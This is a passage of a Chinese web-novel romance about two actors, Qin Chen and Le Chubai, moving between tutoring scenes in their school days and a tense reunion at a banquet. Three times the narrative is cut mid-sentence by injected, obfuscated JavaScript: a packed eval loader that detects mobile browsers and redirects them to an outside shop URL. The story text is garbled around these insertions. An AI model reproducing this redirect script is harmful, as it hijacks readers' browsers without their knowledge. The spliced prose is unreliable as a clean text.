秦琛眼珠子一转,朝乐初白挑眉道:“走了。” 出了冷气充足的保安室,外面的热浪席卷而来,太阳刺眼灼人,不过很快被秦琛的伞阻隔开。 秦琛:“这天这么热,真不要晚上再过来啊?我可以报销打车费的。” 乐初白将棒球帽帽檐抬高了一些,道:“不了,我走一次就认识路的,下次你不用出来接我。” “我是担心你过来太热了。” “没关系。” 秦琛停下来,面对他,从上到下打量了一番,随后说道:“那你出门也别只戴个帽子啊,擦个防晒霜,穿个冰袖或者防晒衣,再不济打把伞啊。” “……” “还有,别总穿深色的衣服,吸热,你穿白色和绿色好看,布料也要……” 还没说完的话被乐初白无奈打断:“我们一定要站在太阳底下说吗?能不能先回家?” 秦琛呆呆回答:“哦,好。” 等坐到秦琛家中,看他跑上跑下又是拿吃的喝的,又是摆试卷课本的,乐初白才生出一点真实感。 他居然真答应了秦琛。 昨天听完他的提议,乐初白愣了好一会儿,秦琛便自顾自地将父母要给他请家教的事情都说了,还添油加醋说自己会被人“监控”着,被人打小报告,有多惨说多惨。 “老师,我们今天学什么?”秦琛打断他的思绪,在他对面端正坐好。 这个称呼让乐初白有些不适应,他看着铺满半个餐桌的教材,撩起眼皮,道:“你哪里不懂?” 秦琛:“不知道,我还没写。” 乐初白:“……” 秦琛睁着无辜的眼睛望向他。 乐初白轻叹道:“那你先写,不会的我再教你。” “好的老师。” 说完后他从乱糟糟的桌上翻出物理卷子,低头开始写作业。 乐初白看着桌面,眉头不自觉皱起,最后忍无可忍,把上面的教材、习题册等等都分门别类叠起来,放在一旁。 秦琛注意力不集中,没写两道题就停下来看乐初白收拾东西。 “做题。”乐初白头也没抬。 “哦。” 桌子马上空出一块整洁区域,看起来顺眼多了,乐初白也从包里掏出作业做了起来。 和换了个地方写作业似的,还算可以,没有太多不自在。 只是没写多少,对面的人就开始唉声叹气。 他写完自己的题目,才问道:“哪里不会?” 秦琛把卷子推到中间,用笔指了指:“这儿。” 乐初白扫了一眼题目,有点疑惑:“高一学的,你……忘了?” 秦琛撇嘴:“我笨,学不会。” 这么实诚地说出来,倒是让乐初白不知道怎么接,他拿过草稿纸,开始讲题。 秦琛认真听着,等乐初白讲完后,恍然大悟般说道:“这么简单啊,这我会啊。” 乐初白半信半疑:“你继续写吧。” 感觉新知识入脑了,秦琛斗志昂扬,唰唰地就是划重点算题。 还算认真。 乐初白也继续写自己的卷子了。 没维持多久,秦琛放在一旁的手机响了一声。 然后他听见秦琛解锁了手机,播放了语音消息。 “秦琛,上号啊。” 乐初白顿了顿,抬头看去,恰好和秦琛对上视线。 秦琛道:“先不写了,我去打把游戏。” 说完他就走到了客厅,大大咧咧地坐在沙发上,带着耳机和那人说道:“来了来了。” “……”乐初白看了一眼时间,坐下到现在连一个小时都没有。 本以为他很快就会回来,结果秦琛游戏一局接一局,乐初白习题册写了一页又一页,今天的家教时间就这么过去了。 乐初白默默地收拾好东西,起身跟秦琛说:“我先回去了。” 秦琛原本躺在沙发上,闻言坐了起来,拿下一边的耳机,看了看时钟,才发现已经五点半了。 差不多阿姨要来给他煮饭了,秦琛道:“诶,晚饭在我家吃吧,我家阿姨做饭超好吃。” 乐初白礼貌拒绝:“不用了,谢谢。” “好吧,那明天见。”秦琛说完又想起什么,从沙发上蹦下来,“先等等,我给你找个门禁卡,之后你直接刷卡进来就行。” 秦琛在门口玄关柜里翻箱倒柜地找了半天,终于找到备用的门禁卡,递给乐初白:“刷电梯上楼也用这个。” “我知道了。”乐初白接过,换好鞋子就走了。 接下来的一周里,每天的教学情况和第一天差不多,秦琛总会写一半就跑掉,要么是写困了去睡会儿,要么题太难了要去看点课外书缓缓…… 真正学习的时间加起来或许只有十小时。 乐初白心想,他要是不乐意学就不学了。 又想到自己拿钱不办事,心里有点过意不去,于是只计算了讲题的时间。 家教费用一周结一次,晚上秦琛给他转账的时候,他把多出来的部分转了回去。 秦琛没收,发了个问号过来。 【秦琛:我算错了?不能吧,我按计算器算的。】 【Y。:多了,我没有教这么久。】 隔天去到秦琛家,秦琛似乎刚午睡醒,人不是很精神。 结果乐初白刚坐下,秦琛就把卷子摊开摆在他面前,一副求知若渴的模样。 怎么突然这么认真?梦游?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13513511|142241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 乐初白没着急给他讲题,而是说道:“你如果不想学的话,我们可以暂停,你也不用白花钱。” 秦琛:“我没有不学啊。” “可你……”乐初白不知道该怎么说,他听讲的时候又确实认真,人也算聪明,但是坐不住也是真的。 乐初白对待要做的事情从不含糊,都会尽力做到最好,也会制定很多计划来让这件事能顺利达到预期。 他其实有在给秦琛制定学习计划,但他前几天的学习状态让乐初白觉得没什么必要了。 “我妈说要是开学考还没及格,就要克扣我生活费了。”秦琛双手合十,眼睛大而明亮,细看能看出眼尾带了几分不易察觉的笑意,语气却是可怜又委屈的,“救救我啊小乐老师。” 乐初白心想,这也不是自己一个人的事,不配合学习就是神仙来了都救不了。 但是克扣生活费又是挺严重的事情,秦琛一个人住,还要负担家教费用,还喜欢买衣服买鞋子……要是真没钱了,估计挺难办。 他其实挺容易心软的。 最重要的是,秦琛为什么要用这张脸来求他? 而自己又怎么能第二次因为他的脸而做决定? “那你不许再中途跑走了。”乐初白道。 得到他的援助,秦琛眼中笑意更深,一下子坐直身体,对着乐初白敬了个礼,说:“保证不跑!” 乐初白觉得他顶着刚睡醒的鸡窝头做这个动作这样子有些傻,没忍住翘了翘嘴角。 秦琛像是发现新大陆,放下手撑着桌子往前倾身,几乎越过半个桌子,歪头盯着乐初白看,觉得新奇且惊讶:“你居然会笑。” 因为他的突然靠近,乐初白怔了片刻,嘴角那点笑意也压了下去,脸上表情被愣怔取而代之。 “我又不是死人。”他回道。 又恢复到之前的模样了,秦琛还是喜欢他刚才的样子,较往常多了些生气。 人就是要有喜怒哀乐,冷冰冰的那是雪人。 “再笑一笑嘛。” 乐初白觉得他很奇怪,现在又没有值得笑的事情,硬挤出一个笑也太莫名其妙了。 “不要。” 被毫不留情地拒绝,秦琛努努嘴,也不强迫他,直起身要去拿水喝。 忽然哐当一声! 乐初白被吓了一跳,看向秦琛,只见他捂着乱蓬蓬的脑袋,五官几乎皱在一起,嘴里还嚷嚷着疼疼疼。 再抬眼一望,桌子中间的铃兰吊灯被他撞得左摇右晃。 “……”乐初白道,“你把吊线放太低了。” 秦琛:“?” 他人都撞清醒了,乐初白却连句客套的关心都没有。 秦琛的嘴是越撅越高,跟受了多大委屈。 乐初白看着他的表情,咬了咬下唇,像是在竭力忍耐什么,可终于没忍住笑了起来。 一手抵在唇边,几乎是看不到扬起的嘴角,但眉眼弯曲的程度还是暴露了他。 是明朗的笑意,像是整个人破了冰。 秦琛心道,这个头撞得不亏。 “喂,别笑了。” “嗯。” 说完,两人对视了一眼。 三秒后,又同时笑了起来。 24. 聚餐 乐初白很久没说话。 秦琛也不急,一边摸着腿边的小猫,一边耐心地等。 “说的好像我很难相处。”乐初白轻笑。 “你那时候看起来确实很难接近,你去问问其他同学,肯定都这么觉得。” 最早坐在乐初白后桌时,秦琛就知道这个人是个只会读书的好学生。 成绩好但不像其他人那么傲,没见他主动向谁请教过问题,几乎不参与班级活动。 起初他觉得这人真无趣,似乎没什么朋友,每天的生活枯燥又重复,像个设定了程序的机器人。 “抱歉,我现在可能没什么时间和你回忆这个。” 乐初白说话的语速有些快,夹杂在他声音里的还有机械的人声和嘈杂的外语。 “你在哪儿呢,这么吵,片场吗?”秦琛问。 “阿姆斯特丹。” “怎么在这儿?你们换地方拍摄了?” “提前杀青了。”他似乎在登机,秦琛听见他和别人说了一声“thanks”,才继续回答:“转机。” “转机?!”秦琛从沙发上弹起来,来回走了两步才反应过来,“你要回国了?” “嗯。” “怎么不和我说,几点落地?我去接你。” 乐初白淡声道:“不用。” “为什么?” “什么为什么?” 秦琛嘟囔:“我不能去接你吗?” “你没有工作吗?” “你还没跟我说什么时候到呢。” “你来做什么?”乐初白正儿八经地问道,“机场人又多又杂,你也不怕被人发现,引起躁动。” 秦琛才不管他说的,反驳道:“作为同事去接机,有什么问题吗?” 乐初白没有立即接话,而是轻叹了一声,随后说:“我的其他同事,不会这样细问我的行程,也不会这么执着要来给我接机,你……” “行了不用说了。”秦琛强硬地打断他,语气不悦,“我以为我们现在算朋友了,原来还不是。在你眼里,我不是你的朋友,可能连同事都算不上,就是个陌生人。” “……你误会了。” 酒劲儿似乎上来了,又或许是情绪突然起伏过大,导致脑袋有些晕,秦琛开始输出:“误会什么啊,你就是一点都不在意我。” “?” “给你发消息就只回几个字,从来不主动找我。我拍那么帅的照片也不夸我,连时暮都夸我了。我被男主改戏份改台词你也不安慰我,现在几天没见了想见你又不可以,我算什么啊?” 乐初白耐心听完,还是一样平和地说:“我知道你在想什么,但是我们确实没法再像以前一样,这一点你我都很清楚。” 不知道哪句话戳到秦琛的痛处,他的语气跟藏了刀似的,一字一句都像在刺人:“我清楚啊,我也没想怎样,我没有要你和我在一起,我想缓和关系有错吗?我不想再见面总是那么尴尬,我不想在镜头前演戏了有问题吗?” “……没有。” “那你凭什么限制我?” 短暂的沉默后,乐初白冷冷开口。 “因为我不想。” “什……” “我不想和你做朋友,我就想继续一个人,这个理由可以吗?” 秦琛半晌没说话。 乐初白深吸一口气,缓缓道:“秦琛,我们就到这里吧。” 他的声音越来越疲惫:“以后不用再让你助理来旁敲侧击问华玥了,她每次都要再来问我,挺麻烦的……” 还没说完的话又被他打断,秦琛感觉头越来越痛,狠声道:“我不会再问了!你想一刀两断那就断好了!我离了你难道还活不了了?” 隐约能听到秦琛在嘀咕什么,他应该是把手机放下了,听得并不清楚。 空姐过来提醒乐初白飞机即将起飞,需要将手机关机或调至飞行模式。 乐初白朝空姐点头,看着窗外灿烂的落日,心情有些郁结,最后和秦琛轻声说了一句:“晚安。” * 一通电话把两个人再次隔开,此前好不容易才缓和的气氛,又一次低至极点。 隔天早上秦琛清醒后回忆起这件事,有点后悔当时口不择言,但又拉不下脸去道歉。 两天后,《一步一脚印》开机宴现场。 偌大的宴会厅摆了好几桌,常驻嘉宾和主创人员坐在主桌,秦琛早早到了,正在和其他人推杯换盏。 乐初白刚结束工作,匆匆赶来,在门口遇到同样来迟的谢雪婧。 两人有说有笑地走进酒店,聊起合作的电影即将点映,过段时间还要一起跑跑路演。 姗姗来迟的两个人进了宴会厅,执行导演站起身朝他们挥手喊道:“这儿呢!” 这一嗓子倒是让大家都注意到了他们。 座位没有指定,随意坐,乐初白将林紫烟身旁的位子留给谢雪婧,自己坐在了执行导演旁边。 落座后一抬眼,就直直地对上了对面秦琛的目光。 似乎盯着自己看了有一会儿,乐初白神色如常,对他微笑颔首,便偏头和执行导演聊了起来。 总导演在台上发言,秦琛左耳进右耳出,听得极不认真,心里不断有火苗在往上冒。 半小时了,乐初白怎么能一直不看他,和其他人聊什么能聊这么开心? 饭桌上的大家谈笑风生,他们和谁都聊了几句,唯独没有和对方说过话。 总导演发言结束后邀请大家举杯,众人站起倾身一起碰杯,秦琛捏着高脚杯,在碰杯后又故意伸长了手臂,重重地碰了乐初白的杯子,发出清脆悠长的响声。 不止乐初白,一桌人似乎都被他吓了一跳。 乐初白抬眼,对上秦琛幽深的眼眸。 主角两人对视着,都没有开口。 气氛诡谲,在外人看来是顶流男艺人之间没有硝烟的战争。 场上一时间陷入僵局,杨清越是察言观色的能手,马上挑起别的话题,打哈哈将这件事略过,大家各自喝着自己杯里的酒。 只有乐初白知道,秦琛在发小孩子脾气,要制造点动静来吸引注意。 各怀心事地坐下,秦琛的脸有点红,眼神没有了看见乐初白走进宴会厅时那样明亮,整个人气压极低。 眼前的餐桌旋转圆盘被转动,乐初白望过去,见秦琛拿过圆盘上的一瓶新红酒,熟练地打开。 怎么还喝?乐初白皱眉。 乐初白就这么看着坐在圆桌对面的秦琛一杯接一杯,一个人喝完了大半瓶红酒,心想他能不能撑到回家才发酒疯,毕竟他那么要面子。 杨清越拦了拦秦琛还要倒酒的手,小声道:“行了,再喝真的要醉了,红酒后劲大,醉起来有你受的。” 秦琛赌气地偏移身子,不跟杨清越贴近。 乐初白有点想笑,这么大的人了,不开心还是用这一招,不哄他就不让碰。 杨清越自然不知道他的这点小癖好,还在找服务员给秦琛倒点水。 大家已经相处过一周了,少了客套的寒暄,也不拘束,聊到的话题形形色色。 总导演问起乐初白新电影的事情,谈着谈着,不知道是喝多了还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13513512|142241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是怎的,看着坐在一起的乐初白和谢雪婧,忽然说道:“陈导真会挑人,这么看你们俩坐在一起真般配啊。” 这话一出,霎时间,全桌十个人,七个齐刷刷朝乐初白和谢雪婧望过来,两个看向总导演,剩下那个人看向了秦琛。 秦琛知道导演有嗑CP的爱好,他的节目一大营销卖点就是找年轻貌美的小花小生组CP。 哪怕是上节目前完全不认识的两个人,都能在他“鬼斧神工”的剪辑下,让不知情的网友嗑生嗑死,什么阴间CP都能炒。 “导演别开我的玩笑了,我和乐老师就是朋友。”谢雪婧笑着说,“要真有意思,合作这么多次早就在一起了,哪还等着您来给我们牵线呢。” 乐初白才将视线从秦琛身上收回来,同样说道:“是啊,雪婧好像喜欢同龄的,我出生太早了。” 谢雪婧点头,开玩笑道:“晚出生几年我肯定就选你了。” 总导演:“哎,说是这么说,但缘分来了也……” “咣!” 秦琛忽然用力地把高脚杯放到桌上,放下时杯座磕到了玻璃旋转圆盘,发出响亮一声,让所有人的目光都聚焦到了他身上。 只见他支着额头,眉头皱得紧紧的,两颊已经浮上两团红色,看起来似乎挺难受。 “怎么了这是?”执行导演担忧地问道。 秦琛这行为跟砸场子似的,杨清越不清楚他今天情绪是不是不对劲,赶忙帮他打圆场:“喝多了喝多了,大家继续,我照顾他就行。” 秦琛确实猛地站起身,醉醺醺的,沉声道:“抱歉导演,有些醉了,明早还有工作,我先失陪了。” 总导演也担心他的身体状况,忙道:“没事儿没事儿,你回去好好休息。” “谢谢导演。” 秦琛到隔壁桌找到陈皓,陈皓看了看时间,问:“现在走?应该快结束了,不然再坐会儿?” “头疼,坐不了,你不走我走。” “……行吧。”陈皓无奈道,“让你喝这么多,活该。” 陈皓又替他和众人说了句“不好意思”,先扶着他走了。 小蓠拿上他们落下的外套给秦琛披上,一起出了宴会厅。 乐初白的目光跟随着他们,直到门被关上。 他收回视线,早已经没有了聚会该有的心情。 和谢雪婧的事情暂时揭过,大家又换了新的话题。 乐初白什么都没听进去,在座位上又坐了片刻,晃着杯中的红酒,敛眸沉思。 “初白……”杨清越喊了他一声,似乎是想和他说些什么。 乐初白却是直接起身,连理由都不找一个:“对不起,我还有有些事情需要解决,先走了。” 随后他拿上椅背上的西服外套,快步出了宴会厅。 还是华玥眼尖看到乐初白离开,匆匆抽了张纸巾擦了擦嘴,拉上还在和人干杯的赵远辞追了出去。 乐初白直奔电梯口,看着电梯迟迟下不来,于是转身往楼梯间去。 好在只有九层楼高,跑了一阵儿总算追上了。 地下车库光线偏暗,只有几处地方灯光强烈一些,乐初白左右张望,终于找到了他们的踪迹。 秦琛和小蓠站在前方过道,车子停在面前,不知道为什么没上去。 他们恰好在明亮灯光下,乐初白从侧后方昏暗处看他,秦琛身姿挺拔,侧脸线条优越,除去脸红了些,看不出任何醉酒的样子。 乐初白捏了捏拳头给自己鼓劲儿,才慢慢上前几步,平复着呼吸,开口喊了一声。 “秦琛。” 25. 理智 空旷封闭的地下车库,说话都是回声。 乐初白刚想再往前走两步,秦琛却像是没有听到他的声音,头也没回,拉开车门坐进车里,一把将车门关上。 小蓠不知道秦琛突然间是怎么了,就是前两天对着加戏咖都没有这样当面甩脸子,她一头雾水地赔笑,朝乐初白说了句“不好意思”,绕到另一边上了车。 车内的秦琛单手撑着额头,半垂着眼皮,沉声道:“开车。” 小蓠阻拦了一下:“可是……” “开车!” “哦。” 大少爷喝醉了耍脾气不听人话,小蓠只好让司机先开车。 乐初白站在原地看着秦琛的商务车逐渐开远,叹了一口气,转身想去找自己的车,就看见一个身影朝这边跑来。 “等等!喂!我还没上车呢!秦琛!!!” 乐初白定睛一看,是秦琛的经纪人陈皓。 陈皓见是追不上了,叉腰站在一旁喘着粗气。 他像是才看到乐初白,有点意外又有点尴尬道:“乐老师也在啊。” 乐初白朝他颔首:“你好。” “乐初白!” 突然被人带着怒气喊全名,乐初白愣了一下,扭头望向声源处,只见赵远辞和华玥站在十米开外,脸色都不太好。 赵远辞不悦道:“你这是怎么了?突然自己跑掉,要是碰到私生怎么办?” “对不起。”乐初白真诚道歉。 “回家吗?还是你要去哪儿?”赵远辞问。 “回家吧。”乐初白又问陈皓,“陈经纪不介意的话,我送你吧,这边不好打车。” 陈皓受宠若惊:“这怎么好意思,太麻烦了。” “没关系,”乐初白微微笑道,“不用这么客气。” 陈皓也不再推辞:“那就谢谢乐老师了。” 陈皓上车后跟司机报了个地址。 乐初白也喝了酒,虽说没有喝到像秦琛那样醉,但也有点头昏脑胀,强打着精神问:“陈经纪是回自己家还是去秦老师那里?” “去秦琛那儿,怕他喝醉了又发疯。”说起这个,陈皓看向乐初白,抱歉道,“对了,上次生日的事,没给乐老师造成什么烦恼吧?” 乐初白摇摇头,轻声道:“没有。” 赵远辞:……我挺困扰的。 陈皓松了一口气:“那就好。” 乐初白故作语气随意,趁势问道:“他那天是怎么了?” “我也纳闷儿呢。”陈皓至今不知道那天他送完蛋糕后秦琛为什么发疯,“大晚上的突然要我去定一个蛋糕,还要有什么摩天轮、什么城堡、旋转木马的插件,就差画个草图让我去买了。” “我想着他可能是最近减肥减到叛逆,想吃点甜品,就去给他买了。后来给他送蛋糕的时候还好好的,也没喝酒,谁知道一个小时后就耍酒疯了,好在没有发什么不好的东西。” 陈皓捏了捏眉心:“希望他今天能安分一点吧。” 蛋糕…… “这样啊……”乐初白近乎无声地喃喃。 中途陈皓给小蓠打了个电话。 小蓠的电话才响起一秒,秦琛便不耐烦地说了句:“好吵。” “……”小蓠马上接起,挡着嘴轻声说,“喂?皓哥?” “秦琛呢?” 小蓠往旁边瞥了一眼:“哥在车上坐着呢。” 秦琛从眼尾看她,比了个噤声的手势,小蓠把手机给他:“哥,皓哥找你。” 秦琛不解道:“他在车上打什么电话?有病吗?” 这话被电话那头的陈皓听到了,小蓠没有开免提,都能听到陈皓的声音响彻整辆车。 “你再看看我在哪儿?!我在你车上吗?我上个厕所的功夫你就能抛下我走掉,你醉到数不清人数了吗?” 秦琛听着他恼怒的声音,神志清明了一点,往前往后看了看,果然没看到陈皓的身影。 秦琛一边接过电话一边问小蓠:“陈皓呢?他没上车你怎么不跟我说?” 小蓠委屈死了:“我想说啊,你又不给机会,一个劲儿地让司机开车。” 秦琛叹气,对着电话想道歉,却听到陈皓轻微的声音:“抱歉啊乐老师,没控制住音量,见谅见谅。” 接着他听到更微弱的一声“没关系”。 乐初白于秦琛仿佛是酒精,秦琛才清醒不久的脑袋似乎又发晕了,即将说出口的“对不起”也变成了疑问:“你为什么和乐初白在一块儿?” 陈皓想解释,但秦琛压根儿没给他机会,话语像机关枪一样突突突地输出:“他都不跟我说话,你还跟他在一块儿干什么?到底谁才是你老板?” 陈皓:“我……” “凭什么你能和乐初白说话?你给他下什么蛊了!” “秦琛你喝疯了吧?”陈皓心神疲累,“你把电话还给小蓠。” 秦琛将拿着手机的那只手伸长,待小蓠接过后,又一次侧身背对着人,浑身写满了不开心。 *** 一小时后,回到家的乐初白身心俱疲,一个人在家也不必在意什么形象,直直地趴倒在沙发上,脸埋在抱枕里。 安静、枯寂、孑然,这才是属于他的生活。 就算中间出现过意外,也应该回到这样的生活才对,他明明可以,为什么又做不到了? 沉重的压力再度袭来,身体哪哪都憋着一股气似的,发泄不出,最后全部挤压在心口,连呼吸一下都觉得疼痛不已。 乐初白翻了个身平躺着,睁眼望着白花花的天花板,又想起回国前和秦琛的那一通电话。 这些时日的聊天,他们一直有意避开以前,就好像真的是因为节目结缘的新朋友,聊的话题也不痛不痒,不用多么小心地回复,不必担心掉入什么回忆的陷阱里。 直到秦琛提及那年暑假。 不可避免地,他又一次被回忆束缚住。 那时候太年轻,没有经历过太多的事,即便在听到秦琛的告白后,想过未来可能发生的事情,但又因为年轻人的傲气自信觉得能够逢凶化吉,还是跟随心意答应了秦琛。 可真当他们站在人生的分叉路上时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13513513|142241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要为了自己还是为了爱人,这个话题永远是无解。 高中的自己能被秦琛吸引,现在秦琛还是和以前一样,那些会让他喜欢上的特质都没有改变,再一次爱上他只会是轻而易举。 但现在的他们要面临的问题、要顾虑的东西比以前多得多,两个人都不再是能够凭着一腔孤勇就能做决定的年纪了。 他很确定自己对秦琛还有旧情,但秦琛对他或许只是不甘心,毕竟当年将秦琛留在原地的人是他。 乐初白从回忆中抽身。 在他看来,那段日子本来是灰暗的,因为秦琛的闯入又让人觉得不那么暗淡,甚至生出了几分眷恋不舍。 他不愿意提及过去,就是不想被和秦琛有关的记忆带着走,他会迷路,会做出一些错误的决定,比如综艺开始录制前在机场外等秦琛一起出发,比如离开前给了秦琛联系方式,再比如刚刚在宴会上不管不顾地追了出去。 他真的有些分不清自己现在在做什么了。 脑子里想的和实际做的完全相反,多少次的告诉自己不要重蹈覆辙,可还是会忍不住想靠近。 他分明最不缺的就是理智。 放在茶几上的手机突然响了起来。 乐初白扭头看了一眼,这个点会打电话给他的估计只有工作,而他现在的状态似乎无法冷静清晰地接听电话。 就这样干耗着到自动挂断,室内又陷入了一片死寂。 平时应酬少,不怎么喝酒,现在喝了几杯倒有些难受了。 乐初白抬手捂着额头,闭眼缓了缓,然后慢慢起身,到厨房去给自己冲一杯蜂蜜水。 最早知道蜂蜜水解酒,还是秦琛的妈妈教给他的,季吟秋女士对着成年后就肆无忌惮的儿子有些没办法,自己在家的时间又少,只能拜托乐初白多看着他。 放空般地搅拌着玻璃杯里的蜂蜜,又想到秦琛今晚喝这么多,也不知道陈皓过去了会不会给他冲杯蜂蜜水。 唉,刚才应该提醒陈皓的。 乐初白一口气喝完水,冲洗杯子时一并将那些烦心事冲走。 他终于想起刚才那个电话,担心真的错过什么重要的工作,准备回个电话过去。 没等他弯腰拿到手机,电话铃声又一次响起,熟悉的号码出现在屏幕上。 乐初白动作一顿,低垂着头,来来回回将那串熟悉的数字默念了两遍。 在接与不接中犹豫不决,又一次地耗到自动挂断。 没来得及松一口气,新的电话又进来了,似乎他不接,那人就要一直打。 乐初白知道他的脾气,轻叹一声,拿起手机一滑,接通了电话。 正犹豫着要怎么开口,结果一接起就听到电话那头的人委屈地喊道:“你怎么能连名带姓喊我?” 乐初白后退两步坐回沙发上,因为他的语气和说出的话,心情莫名地好了一些,轻声反问:“不然我要喊什么?秦老师?秦先生?还是和你的粉丝一样喊你琛琛?” 秦琛那边安静了两秒,然后乐初白听见他带着醉醺醺但理直气壮的语气说:“你要喊我宝宝!”